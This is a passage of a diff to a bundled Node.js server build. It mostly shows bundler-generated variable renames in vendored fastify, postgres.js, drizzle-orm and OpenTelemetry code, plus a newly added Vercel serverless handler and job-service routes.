env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53976,6 +53976,21 @@ function newTraceContext(partial2 = {}) { }; } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69813,8 +69828,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71315,7 +71330,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71331,26 +71346,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71361,7 +71376,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71369,14 +71384,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71384,14 +71399,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71523,22 +71538,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71613,12 +71628,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71627,17 +71642,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71646,11 +71661,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71681,7 +71696,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71705,7 +71720,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71716,11 +71731,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -71732,12 +71747,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71747,7 +71762,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71756,29 +71771,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71838,7 +71853,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71878,7 +71893,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71904,24 +71919,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71933,8 +71948,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72689,10 +72704,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73090,19 +73105,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73113,24 +73128,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75950,8 +75965,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78310,10 +78325,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78633,8 +78648,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78767,8 +78782,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78805,12 +78820,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78952,11 +78967,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78970,14 +78985,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79532,7 +79547,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79540,18 +79555,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79901,12 +79916,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79916,8 +79931,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -79948,24 +79963,24 @@ function toJob(row) { updated_at: row.updatedAt }; } -async function findByHash(db, jobHash) { - const [row] = await db.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobHash, jobHash)).limit(1); +async function findByHash(db2, jobHash) { + const [row] = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobHash, jobHash)).limit(1); return row ?? null; } -async function findById(db, jobId) { - const [row] = await db.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findById(db2, jobId) { + const [row] = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ?? null; } -async function insert(db, input) { - const [row] = await db.insert(schema_exports.jobs).values(input).returning(); +async function insert(db2, input) { + const [row] = await db2.insert(schema_exports.jobs).values(input).returning(); if (!row) throw new Error("insert: job insert returned no row"); return row; } -async function touchSeen(db, jobId) { +async function touchSeen(db2, jobId) { const now = (/* @__PURE__ */ new Date()).toISOString(); - await db.update(schema_exports.jobs).set({ lastSeenAt: now, isActive: true, updatedAt: now }).where(eq(schema_exports.jobs.jobId, jobId)); + await db2.update(schema_exports.jobs).set({ lastSeenAt: now, isActive: true, updatedAt: now }).where(eq(schema_exports.jobs.jobId, jobId)); } -async function listActive(db, filters, pagination) { +async function listActive(db2, filters, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === "string" ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -79981,7 +79996,7 @@ async function listActive(db, filters, pagination) { ) ); } - const rows = await db.select().from(schema_exports.jobs).where(conditions.length > 0 ? and(...conditions) : void 0).orderBy(desc(schema_exports.jobs.createdAt), desc(schema_exports.jobs.jobId)).limit(pagination.limit + 1); + const rows = await db2.select().from(schema_exports.jobs).where(conditions.length > 0 ? and(...conditions) : void 0).orderBy(desc(schema_exports.jobs.createdAt), desc(schema_exports.jobs.jobId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const items = hasMore ? rows.slice(0, pagination.limit) : rows; const last = items[items.length - 1]; @@ -79992,8 +80007,8 @@ async function listActive(db, filters, pagination) { } // services/jobs/src/http/routes/get-job.ts -function getJobRoute(app, deps) { - app.get("/v1/jobs/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getJobRoute(app2, deps) { + app2.get("/v1/jobs/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const { id } = request.params; const job = await findById(deps.db, id); if (!job) { @@ -80004,8 +80019,8 @@ function getJobRoute(app, deps) { } // services/jobs/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -80162,17 +80177,17 